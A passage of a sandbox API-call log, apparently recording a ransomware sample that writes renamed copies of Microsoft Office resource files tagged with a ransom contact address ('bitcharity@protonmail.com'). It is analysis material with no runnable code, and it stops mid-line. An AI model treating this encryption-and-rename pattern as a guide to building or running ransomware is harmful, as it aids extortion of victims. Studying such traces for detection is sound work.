CloseHandle (hObject=0x1234) returned 1 [0254.113] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.113] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ASSET.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\asset.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.114] CloseHandle (hObject=0x1234) returned 1 [0254.116] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.116] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BSTORM.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bstorm.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.117] CloseHandle (hObject=0x1234) returned 1 [0254.118] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.118] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CALEVENT.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\calevent.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.118] CloseHandle (hObject=0x1234) returned 1 [0254.123] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.123] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.123] CloseHandle (hObject=0x1234) returned 1 [0254.124] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.125] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBWIZ.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbwiz.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.125] CloseHandle (hObject=0x1234) returned 1 [0254.126] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.127] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DOORSCHD.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\doorschd.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.127] CloseHandle (hObject=0x1234) returned 1 [0254.128] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.129] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DRILLDWN.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\drilldwn.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.129] CloseHandle (hObject=0x1234) returned 1 [0254.130] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.130] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGCNV.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgcnv.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.130] CloseHandle (hObject=0x1234) returned 1 [0254.135] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.136] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EQPLIST.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eqplist.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.136] CloseHandle (hObject=0x1234) returned 1 [0254.137] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.137] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.137] CloseHandle (hObject=0x1234) returned 1 [0254.139] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.139] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.139] CloseHandle (hObject=0x1234) returned 1 [0254.140] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.140] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.140] CloseHandle (hObject=0x1234) returned 1 [0254.141] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.141] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.142] CloseHandle (hObject=0x1234) returned 1 [0254.143] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.143] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.143] CloseHandle (hObject=0x1234) returned 1 [0255.650] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.650] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.767] CloseHandle (hObject=0x1278) returned 1 [0256.805] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.805] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.805] CloseHandle (hObject=0x1168) returned 1 [0256.807] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.807] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.807] CloseHandle (hObject=0x1168) returned 1 [0256.808] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.808] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.808] CloseHandle (hObject=0x1168) returned 1 [0256.809] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.810] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.810] CloseHandle (hObject=0x1168) returned 1 [0256.811] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.811] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.812] CloseHandle (hObject=0x1168) returned 1 [0256.813] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.813] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.813] CloseHandle (hObject=0x1168) returned 1 [0256.814] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.814] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.815] CloseHandle (hObject=0x1168) returned 1 [0256.820] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.821] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.821] CloseHandle (hObject=0x1280) returned 1 [0256.823] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.823] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.824] CloseHandle (hObject=0x1280) returned 1 [0256.826] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.826] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.826] CloseHandle (hObject=0x11d0) returned 1 [0256.828] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.828] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.829] CloseHandle (hObject=0x11d0) returned 1 [0256.834] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.834] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.834] CloseHandle (hObject=0x11d0) returned 1 [0256.839] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.839] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.840] CloseHandle (hObject=0x11d0) returned 1 [0256.841] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.841] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.842] CloseHandle (hObject=0x11d0) returned 1 [0256.844] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.844] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.844] CloseHandle (hObject=0x11d0) returned 1 [0256.845] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.845] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.845] CloseHandle (hObject=0x11d0) returned 1 [0256.845] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.846] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.846] CloseHandle (hObject=0x11d0) returned 1 [0257.776] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.776] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 